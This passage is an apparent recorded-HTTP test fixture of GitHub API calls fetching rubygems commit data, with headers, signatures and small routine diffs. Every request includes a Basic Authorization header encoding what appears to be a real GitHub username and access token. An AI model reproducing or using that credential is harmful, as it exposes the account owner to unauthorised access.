c69dabc6061c352f/lib/rubygems/test_case.rb","raw_url":"https://github.com/rubygems/rubygems/raw/dd9be859d376555963528a3ec69dabc6061c352f/lib/rubygems/test_case.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/test_case.rb?ref=dd9be859d376555963528a3ec69dabc6061c352f","patch":"@@ -236,6 +236,7 @@ def setup\n @fetcher = nil\n \n Bundler.ui = Bundler::UI::Silent.new\n+ @back_ui = Gem::DefaultUserInteraction.ui\n @ui = Gem::MockGemUi.new\n # This needs to be a new instance since we call use_ui(@ui) when we want to\n # capture output\n@@ -420,6 +421,8 @@ def teardown\n Gem::Specification._clear_load_cache\n Gem::Specification.unresolved_deps.clear\n Gem::refresh\n+\n+ @back_ui.close\n end\n \n def common_installer_setup"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:05 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:05 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4448' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"161e3d6c9c7b6932de8b7013d40bc6dc" Last-Modified: - Tue, 17 Oct 2017 06:38:56 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046906' X-Github-Request-Id: - A2AE:4D95:F482D7:1C840EA:5A50E475 body: encoding: ASCII-8BIT string: '{"sha":"3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-17T06:38:56Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-17T06:38:56Z"},"message":"Fix NoMethodError on bundler/inline environment\n\n Fixes #2041\n\n raw_require_paths returns nil variable when running with\n bundle/inline environment.","tree":{"sha":"d0764d1ec4930e8708076ba33fe1d65a431ad88f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d0764d1ec4930e8708076ba33fe1d65a431ad88f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlnlpe8ACgkQ+c8TQXJk\n+sIEnwf+OnsJ1OzAaftCGGgVlcXr58kRwies4w2ELo2EFrpzcnPttKsXWzU595zG\nNhhIzLCMVww1tojE7HG+oxN1aNraugg4TRPZFReI7hTQ26m13tG1SHa0+2di+MgS\ncbiy2dNxmcW1TVRGHsgplc4NpIFZyooOK+5wb/NnUn4DkN0GNdOwiR4NaSHKZQMo\n9/P4L36mdmI5nO5cX0czW6dGE1yOHTOuVOcJ7tMfZn6lOb/QKxqN4mTvXf4jpHBl\nMuwzrwQY+2OZXKsEPzIsaO230yF+c4w5rrhy7OwNPt1/ysJbu5An7BblH6vhsEs0\nXfrGDOjxesf6d84baIlmY9H3Xo/Msw==\n=TZQ0\n-----END PGP SIGNATURE-----","payload":"tree d0764d1ec4930e8708076ba33fe1d65a431ad88f\nparent 82719151049a17987989b089c5b0d81b1b8df507\nauthor SHIBATA Hiroshi 1508222336 +0900\ncommitter SHIBATA Hiroshi 1508222336 +0900\n\nFix NoMethodError on bundler/inline environment\n\n Fixes #2041\n\n raw_require_paths returns nil variable when running with\n bundle/inline environment.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a","html_url":"https://github.com/rubygems/rubygems/commit/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"82719151049a17987989b089c5b0d81b1b8df507","url":"https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507","html_url":"https://github.com/rubygems/rubygems/commit/82719151049a17987989b089c5b0d81b1b8df507"}],"stats":{"total":22,"additions":19,"deletions":3},"files":[{"sha":"72954a7863d1759a82311c2787f56d69cd38fdfd","filename":"lib/rubygems/basic_specification.rb","status":"modified","additions":7,"deletions":3,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a/lib/rubygems/basic_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a/lib/rubygems/basic_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/basic_specification.rb?ref=3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a","patch":"@@ -275,10 +275,14 @@ def matches_for_glob glob # TODO: rename?\n # for this spec.\n \n def lib_dirs_glob\n- dirs = if self.raw_require_paths.size > 1 then\n- \"{#{self.raw_require_paths.join('','')}}\"\n+ dirs = if self.raw_require_paths\n+ if self.raw_require_paths.size > 1 then\n+ \"{#{self.raw_require_paths.join('','')}}\"\n+ else\n+ self.raw_require_paths.first\n+ end\n else\n- self.raw_require_paths.first\n+ \"lib\" # default value for require_paths for bundler/inline\n end\n \n \"#{self.full_gem_path}/#{dirs}\".dup.untaint"},{"sha":"43680265c7343d73eac90ac0c42647316ac4bbdc","filename":"test/rubygems/test_gem_stub_specification.rb","status":"modified","additions":12,"deletions":0,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a/test/rubygems/test_gem_stub_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a/test/rubygems/test_gem_stub_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_stub_specification.rb?ref=3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a","patch":"@@ -110,6 +110,18 @@ def test_matches_for_glob\n assert_equal code_rb, stub.matches_for_glob(''code*'').first\n end\n \n+ def test_matches_for_glob_with_bundler_inline\n+ stub = stub_with_extension\n+ code_rb = File.join stub.gem_dir, ''lib'', ''code.rb''\n+ FileUtils.mkdir_p File.dirname code_rb\n+ FileUtils.touch code_rb\n+\n+ stub.stub(:raw_require_paths, nil) do\n+ assert_equal code_rb, stub.matches_for_glob(''code*'').first\n+ end\n+ end\n+\n+\n def test_missing_extensions_eh\n stub = stub_with_extension do |s|\n extconf_rb = File.join s.gem_dir, s.extensions.first"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:05 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/295184237217c422c9a013e5870e2c7f91fc45dc body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:05 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4447' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"a181bef2d5ae3052538a3cde229db5ff" Last-Modified: - Sat, 14 Oct 2017 00:21:49 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.062688' X-Github-Request-Id: - A2B0:4D97:9039AD:1C47DF7:5A50E475 body: encoding: ASCII-8BIT string: '{"sha":"295184237217c422c9a013e5870e2c7f91fc45dc","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-10-14T00:21:49Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-10-14T00:21:49Z"},"message":"Don''t use two postfix conditionals on one line.","tree":{"sha":"2ced7036cea33d7ce9b5441761621703cf636e28","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2ced7036cea33d7ce9b5441761621703cf636e28"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/295184237217c422c9a013e5870e2c7f91fc45dc","comment_count":1,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/295184237217c422c9a013e5870e2c7f91fc45dc","html_url":"https://github.com/rubygems/rubygems/commit/295184237217c422c9a013e5870e2c7f91fc45dc","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/295184237217c422c9a013e5870e2c7f91fc45dc/comments","author":{"login":"duckinator","id":39698,"avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"82719151049a17987989b089c5b0d81b1b8df507","url":"https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507","html_url":"https://github.com/rubygems/rubygems/commit/82719151049a17987989b089c5b0d81b1b8df507"}],"stats":{"total":12,"additions":6,"deletions":6},"files":[{"sha":"51fd51c474f89a5810197c2d088a43ceecdc556c","filename":"test/rubygems/test_gem_stream_ui.rb","status":"modified","additions":6,"deletions":6,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/295184237217c422c9a013e5870e2c7f91fc45dc/test/rubygems/test_gem_stream_ui.rb","raw_url":"https://github.com/rubygems/rubygems/raw/295184237217c422c9a013e5870e2c7f91fc45dc/test/rubygems/test_gem_stream_ui.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_stream_ui.rb?ref=295184237217c422c9a013e5870e2c7f91fc45dc","patch":"@@ -37,7 +37,7 @@ def setup\n \n def test_ask\n skip ''TTY detection broken on windows'' if\n- Gem.win_platform? unless RUBY_VERSION > ''1.9.2''\n+ Gem.win_platform? && RUBY_VERSION <= ''1.9.2''\n \n Timeout.timeout(1) do\n expected_answer = \"Arthur, King of the Britons\"\n@@ -49,7 +49,7 @@ def test_ask\n \n def test_ask_no_tty\n skip ''TTY detection broken on windows'' if\n- Gem.win_platform? unless RUBY_VERSION > ''1.9.2''\n+ Gem.win_platform? && RUBY_VERSION <= ''1.9.2''\n \n @in.tty = false\n \n@@ -61,7 +61,7 @@ def test_ask_no_tty\n \n def test_ask_for_password\n skip ''Always uses $stdin on windows'' if\n- Gem.win_platform? unless RUBY_VERSION > ''1.9.2''\n+ Gem.win_platform? && RUBY_VERSION <= ''1.9.2''\n \n Timeout.timeout(1) do\n expected_answer = \"Arthur, King of the Britons\"\n@@ -73,7 +73,7 @@ def test_ask_for_password\n \n def test_ask_for_password_no_tty\n skip ''TTY handling is broken on windows'' if\n- Gem.win_platform? unless RUBY_VERSION > ''1.9.2''\n+ Gem.win_platform? && RUBY_VERSION <= ''1.9.2''\n \n @in.tty = false\n \n@@ -85,7 +85,7 @@ def test_ask_for_password_no_tty\n \n def test_ask_yes_no_no_tty_with_default\n skip ''TTY handling is broken on windows'' if\n- Gem.win_platform? unless RUBY_VERSION > ''1.9.2''\n+ Gem.win_platform? && RUBY_VERSION <= ''1.9.2''\n \n @in.tty = false\n \n@@ -100,7 +100,7 @@ def test_ask_yes_no_no_tty_with_default\n \n def test_ask_yes_no_no_tty_without_default\n skip ''TTY handling is broken on windows'' if\n- Gem.win_platform? unless RUBY_VERSION > ''1.9.2''\n+ Gem.win_platform? && RUBY_VERSION <= ''1.9.2''\n \n @in.tty = false\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:05 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/b32be07122b205ffa5a3bc60f1e2c540cabf6eb5 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:05 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4446' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"7b34e14e6d462d916637f662f9bea8da" Last-Modified: - Wed, 11 Oct 2017 00:38:28 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.049113' X-Github-Request-Id: - C582:4D97:9039C2:1C47E2C:5A50E475 body: encoding: ASCII-8BIT string: '{"sha":"b32be07122b205ffa5a3bc60f1e2c540cabf6eb5","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-11T00:38:28Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-11T00:38:28Z"},"message":"[SafeYAML] Avoid warning when Gem::Deprecate.skip is set","tree":{"sha":"597e644fa5d5cb97d56576bc68e450377ca9aaaf","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/597e644fa5d5cb97d56576bc68e450377ca9aaaf"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b32be07122b205ffa5a3bc60f1e2c540cabf6eb5","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ3WgEAAoJEAEZW7MV3ahWtj0P/2w+uh4O98KrzpKMeOGWn7AW\nLG27HmhPcDd/snBsB6oYXwJirrFBxxyFsqhZ7V4CWkGZfTSLJr1+V+wH+CJXlG1h\nLiBauTnFlFkcePmaXpPaLduGgIJXyy4zpa68X+Vk/JO2PD2TQkgrU0Gs8efTyZMk\nOvKefYA4MLi26K3H3w3+QAdZU43+5kCHNISm2CEDHk3loIAWIkcwNve0McXRjRfA\nD2awnITBCabcegaAWgxjHo0ujlxKcE/5+R1Pjgvka3jTaY2pKyH/lGvRlntKBI0y\nEyIDdWnIRw896DfIoEpwMVNRMSwNHAdmwK8Vs92K7LJ7N5HZb3iGDhg3+nG6cNjX\na+fIK68mZfgk87DX64VHkztT04WlThJze4t2NSW7g63iM0AT0MJITiuWCq8SIQCk\nzJc8rhAPZpfkvnrjxGwlRLgh6wXehAC6ROX4k6ZuSnBjDzrzI/SpCdIcChPfZNiV\n9BghFFm7SbFfwK8OudxzgIF6wDz6BNgnqs2hzRbkyxhPxoUT59b186PN6LlOrWHv\nqlXWzSbhxm+P04KPdmulbh+y5MyTXA99mHKlG4tapbCPvKK6oyy13eXT9mpPFTBn\nsw8EbDfK1m6K6+lh8uColEL0ZMPu7Estwf2qxUDk4QMO32R+CitU5rMTfid/9sZb\nGk3myDtJNNF9cLnNj/jM\n=JUQD\n-----END PGP SIGNATURE-----","payload":"tree 597e644fa5d5cb97d56576bc68e450377ca9aaaf\nparent 82719151049a17987989b089c5b0d81b1b8df507\nauthor Samuel Giddins 1507682308 -0500\ncommitter Samuel Giddins 1507682308 -0500\n\n[SafeYAML] Avoid warning when Gem::Deprecate.skip is set\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b32be07122b205ffa5a3bc60f1e2c540cabf6eb5","html_url":"https://github.com/rubygems/rubygems/commit/b32be07122b205ffa5a3bc60f1e2c540cabf6eb5","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b32be07122b205ffa5a3bc60f1e2c540cabf6eb5/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"82719151049a17987989b089c5b0d81b1b8df507","url":"https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507","html_url":"https://github.com/rubygems/rubygems/commit/82719151049a17987989b089c5b0d81b1b8df507"}],"stats":{"total":5,"additions":4,"deletions":1},"files":[{"sha":"789bb5e25af3fe412ddfb2d973165f88300c2547","filename":"lib/rubygems/safe_yaml.rb","status":"modified","additions":4,"deletions":1,"changes":5,"blob_url":"https://github.com/rubygems/rubygems/blob/b32be07122b205ffa5a3bc60f1e2c540cabf6eb5/lib/rubygems/safe_yaml.rb","raw_url":"https://github.com/rubygems/rubygems/raw/b32be07122b205ffa5a3bc60f1e2c540cabf6eb5/lib/rubygems/safe_yaml.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/safe_yaml.rb?ref=b32be07122b205ffa5a3bc60f1e2c540cabf6eb5","patch":"@@ -35,7 +35,10 @@ def self.load input\n ::YAML.safe_load(input, [::Symbol])\n end\n else\n- warn \"YAML safe loading is not available. Please upgrade psych to a version that supports safe loading (>= 2.0).\"\n+ unless Gem::Deprecate.skip\n+ warn \"YAML safe loading is not available. Please upgrade psych to a version that supports safe loading (>= 2.0).\"\n+ end\n+\n def self.safe_load input, *args\n ::YAML.load input\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:05 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:05 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4445' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"a979f23aabd1f8117e2c4359bcd1e7f7" Last-Modified: - Tue, 10 Oct 2017 03:05:03 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.062384' X-Github-Request-Id: - C584:4D96:97198D:13A3FDB:5A50E475 body: encoding: ASCII-8BIT string: '{"sha":"82719151049a17987989b089c5b0d81b1b8df507","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-10T03:05:03Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-10T03:05:03Z"},"message":"Merge tag ''v2.6.14''\n\nTagging v2.6.14.","tree":{"sha":"66909d4ee5336559eb64ed6f2e6563c2b2b773ee","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/66909d4ee5336559eb64ed6f2e6563c2b2b773ee"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/82719151049a17987989b089c5b0d81b1b8df507","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ3DjfAAoJEAEZW7MV3ahWCZAP/AyELDVlxD9WwEjtqWOtdFCd\ns+Kr4MG5ZsrGwwANR1SkCTEFQTE7iZojtMtQRUiXa5/nIH/YnLuGQrffxPWaWdyc\n+jsE3GJi9jDaCk7hdZl854LZtzB2KOu9XGkA9SYdxGHOIXjnJ9S7CpRe7XDe90Al\nNuEEChCzUhWl9WO4q/myhZz8eEXmj9Gr92FibwmhKMcFq+hJ2cp9Bba03WCdVpof\nCDxfD8M8L0uDWLYZZERYf+/3xpj3ZNA6Gze1k92muETe0NEcIzwpi6Frnz/X7yDu\npVUsG3WAkom3M3juumv9BalrSbxlGHZxLljf4bzwmm73Jw3343ZiixSRFOIvXggC\n/Oz2lq9jkBi/4RxhejYPiCe6ggbXEACwXVTnBQKEk7eSJv2u6bg24wPQa2hs6ab5\n9dL/atC1ZRev5dxKPYBSCIGp9KmSV2kMxHv4v0NZ+QgoZXAYK5+PNGudTBSTc5Ix\n5/0IY1q04rbcZXueLDTNhrDxiSZiR1VL5PbBKjUBri7bcX/c2uUum3QU4A7Os17r\nhqbtmalYnuL45u+Pnlou0kTatC9umh50cHyCmygLBkr1ICsbcJ2z7ByaDFMlErC9\ndyGy3MXW3time3BiKKITwwi5LcVg2Izm+7o+iGuizDBVxMwTpHWugiTwu9L70e46\n29OoIUDDy/nGU7Q18YF3\n=X13M\n-----END PGP SIGNATURE-----","payload":"tree 66909d4ee5336559eb64ed6f2e6563c2b2b773ee\nparent be899d52b86f677fccd88bac4a45ef5afaf9f00e\nparent d396b461fbaf10ee8235b234ae970fb989a687d6\nauthor Samuel Giddins 1507604703 -0500\ncommitter Samuel Giddins 1507604703 -0500\n\nMerge tag ''v2.6.14''\n\nTagging v2.6.14.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507","html_url":"https://github.com/rubygems/rubygems/commit/82719151049a17987989b089c5b0d81b1b8df507","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_eve